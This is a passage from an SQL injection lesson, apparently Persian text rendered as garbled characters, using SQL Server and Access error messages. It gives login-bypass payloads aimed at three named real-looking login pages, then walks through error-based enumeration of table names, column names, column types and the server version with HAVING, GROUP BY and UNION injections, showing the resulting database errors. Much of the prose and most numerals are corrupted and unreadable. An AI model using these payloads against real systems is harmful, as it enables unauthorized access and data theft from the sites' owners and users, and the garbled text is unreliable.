
SQL Injection (Lesson �)
(Using SQL Server)

σ΍�ί΍�ϥ΍ϮϨϋ�̨ϴϫ�ϪΑ�ϢҨήΑ�ϮϠΟ�ϝΎΜϣ�ΎΑ�ϩέ΍ήϗ�Ϫ̯�ϻΎΣ�ϢϨ̯�̶ϣ�ζϫ΍ϮΧ�ςϘϓ�ϩΩΎϔΘγ΍�˯�Ϯγ�ϑΪϫ�̵ΎϬΘҨΎγ�ΕΎϋϼ
�ϪΘη΍Ω�Ϫϣ΍Ω΍�ΎϬϟΎΜϣ�ϦҨ΍�ϭ�ϢηΎΒϧ�έΎθϓ�ΖΤΗ�ϢϨϣ�Ϫ̯�ϪηΎΑ�̵έϮΠҨ�ϭ�ΪϴϨ̰ϧϪηΎΑ�

αέΩ�ί΍�̶ҨΎϬϟΎΜϣ��

http://www.sci-bridge.com/shop/admin/login.asp
- Login:  '
- Pass:�    

The page cannot be displayed

- Login:  admin' or 'a'='a
- Pass:   admin' or 'a'='a

http://www.rcii-ir.org/PSITE/member/login.asp

- Login:  '
- Pass:�    

Microsoft JET Database Engine error '�����e��' 

Syntax error in string in query expression 'username='''AND password='''. 

/PSITE/member/login.asp, line ���

- Login: 'or'a'='a   
- Pass:  'or'a'='a�    

http://engineering.ripi.ir/admin/login.asp

- Login:  '
- Pass:�    

The page cannot be displayed

- Login: ' or ''='     
- Pass: ' or ''='�    

ΩϮΒϧ�  Login Page ϑΪϫ�ΎҨ�Ω΍Ϊϧ�Ώ΍ϮΟ�ϞΒϗ�ϪϠΣήϣ�ΪϴϨ̯�νήϓ
ϢϴϨ̯�Ν΍ήΨΘγ΍�ϭέ�ίΎϴϧ�ΩέϮϣ�ΕΎϋϼσ΍�ϥΎ̰ϣ΍�ΪΣ�ΎΗ�ϭ�ϢҨί΍Ωή̢Α Database ϥΎϤΘΧΎγ�̶γέήΑ�ϪΑ�ΪҨΎΑ�ΕέϮλ�ϦҨ΍�έΩ�ΏϮΧ

version number of server, column types , column names  , Table names ϼΜϣ

ϢϴϨ̰Α�έΎ̯�ϪϤϫ�ΎΒҨήϘΗ�ϢϴϧϮΘϴϣ�Ύϣ�ΕΎϋϼσ΍�ϦҨ΍�ϦΘη΍Ω�ΎΑ�ϢϴϨ̯�Ν΍ήΨΘγ΍�ϪϧϮ̴̩�ϭ�ΎΠ̯�ί΍�΍έ�ΕΎϋϼσ΍�ϦҨ΍�Ύϣ΍�

http://www.sci-bridge.com/shopa/dmin/login.asp
http://www.rcii-ir.org/PSITE/member/login.asp
http://engineering.ripi.ir/admin/login.asp


έΎ̯�ϦҨ΍�̵΍ήΑ�ϪΘΒϟ΍�Ϫ̯�ϩίϭήϣ΍�αέΩ�ωϮοϮϣ�ΕΎϋϼσ΍�ϦҨ΍�ί΍�̶πόΑ�Ν΍ήΨΘγ΍�ϦҨήΘϬΑ�ϢϨ̯�̶ϣ�̶όγ�Ϫ̯�ϩέ΍Ω�ΩϮΟϭ�̵ΩΎҨί�̵ΎϬϫ΍έ�
ϢϨ̯�Ρήτϣ�ϭέ�εΎϫ�

ϩέ΍Ω�έ΍ήϗ�̶Θθ̳ήΑ�̵Ύϫ� Error έΩ�ήψϧ�ΩέϮϣ�ΕΎϋϼσ΍�Ϫ̯�ΪϴϨ̯�ΖϗΩ�ΪҨΎΑ  

getting table names

Ζγ΍�   Login Page ϢϴϨ̯�̶ϣ�ϞϤϋ�ήҨί�ϪϧϮϤϧ�ϖΑΎτϣ�ϪҨ�Ύϣ�ϑΪϫ�ϢϴϨ̯�̶ϣ�νήϓ table names ϥΩέϭ΁�ΖγΪΑ�̵΍ήΑ     

- Login:  ' having �=�--
- Pass: a�    

ΩϮη�̶ϣ�ϞλΎΣ�ήҨί�ϪΠϴΘϧ�ϭ�

[Microsoft][ODBC SQL Server Driver][SQL Server]Column
's_table.username' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP
BY clause.

̶ΘΣ΍έ�ϦϴϤϫ�ϪΑ�ϪϠΑ�  (s_table.id) ΪϴϨϴΑ�̶ϣ�̶ΒϟΎΟ�̵Ύϫΰϴ̩�ΪϴϨ̯�ΖϗΩ�Ϣ̰Ҩ�Ϫ̳΍�ΏϮΧ

s_table  the table name
username = the first column name

ϭέ�ϥϮΘγ�Ϧϴϟϭ΍�Ϣγ΍�Ϣϫ�ϭ�ϢϴϧϭΪϴϣ�ϭέ�ϝϭΪΟ�Ϣγ΍�Ϣϫ�ϥϻ΍�Ύϣ�ϢϴϨ̯�̶ϣ�ϞϤϋ�ήҨί�Ϟ̰θΑ�ΎϬϧϮΘγ�ϪϴϘΑ�Ϣγ΍�ϥΩή̯�΍Ϊϴ̡�̵΍ήΑ�

getting column names

- Login: ' group by s_table.username having �=�--
- Pass: a�    

[Microsoft][ODBC SQL Server Driver][SQL Server]Column
's_table.password' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP

BY clause.

ϢҨΩή̯�΍Ϊϴ̡�Ϣϫ�ϭέ�ϡϭΩ�ϥϮΘγ�Ϣγ΍�ϥϻ΍�Ύϣ�ΏϮΧ�

- Login: ' group by s_table.username,s_table.password having �=�--
- Pass: a�    

[Microsoft][ODBC SQL Server Driver][SQL Server]Column
's_table.Active' is invalid in the select list because it is
not contained in an aggregate function and there is no GROUP

BY clause.

- Login: ' group by s_table.username,s_table.password,s_table.Active having �=�--
- Pass: a�    



ϴ̡�ϭέ�ΎϬϧϮΘγ�̶ϣΎϤΗ�Ϣγ΍�ΎΗ�ϢϴϨ̯�̶ϣ�έ΍ή̰Η�ϭέ�έΎ̯�ϦҨ΍�ϻΎΑ�ϝΎΜϣ�ϖΑΎτϣϢϴϨ̯�΍Ϊ�

ΖΧ΍Ωή̡�Ϣϴϫ΍ϮΧ�ϥ΁�ϪΑ�ΪόΑ�̵ΎϬγέΩ�έΩ�Ϫ̯�ϩέ΍Ω�ΩϮΟϭ� column names,Table names ϥΩή̯�΍Ϊϴ̡�̵΍ήΑ�Ϣϫ�̵ή̴ҨΩ�̵ΎϬϫ΍έ�ϪΘΒϟ΍   

getting column types

- Login: ' union select sum(username) from s_table--
- Pass: a�    

ϢҨήΑ�̶ϣ�̶̡�ΎϬϧϮΘγ�ωϮϧ�ϪΑ�ϩΪη�ΪϴϟϮΗ�  Error ϪΑ�ϪΟϮΗ�ΎΑ

non-numerical: The sum or average aggregate operation cannot take a varchar data type 
as an argument.

numerical� All queries in an SQL statement containing a UNION operator must have an equal 
number of expressions in their target lists

getting the version number of server

- Login: ' union select @@version,�,�,�--
- Pass: a�    

Syntax error converting the nvarchar value 'Microsoft SQL
Server �����- �.��.����(Intel X��) Aug ���������:��:��
Copyright (c) ����-�����Microsoft Corporation Enterprise
Edition on Windows NT �.��(Build ����: Service Pack �) ' to a
column of data type int.

ϨҨ΁�̵ΎϬγέΩ�έΩ�Ϫ̯�Ωέϭ΁�ΖγΪΑ�Ϫθϴϣ�Ϣϫ�ϭέ�̵ή̴ҨΩ�ΕΎϋϼσ΍�ΐϴΗήΗ��ϦϴϤϫ�ϪΑϢϨ̯�̶ϣ�ϥΎϴΑ�ϝΎΜϣ�ΐϟΎϗ�έΩ�ϩΪ�
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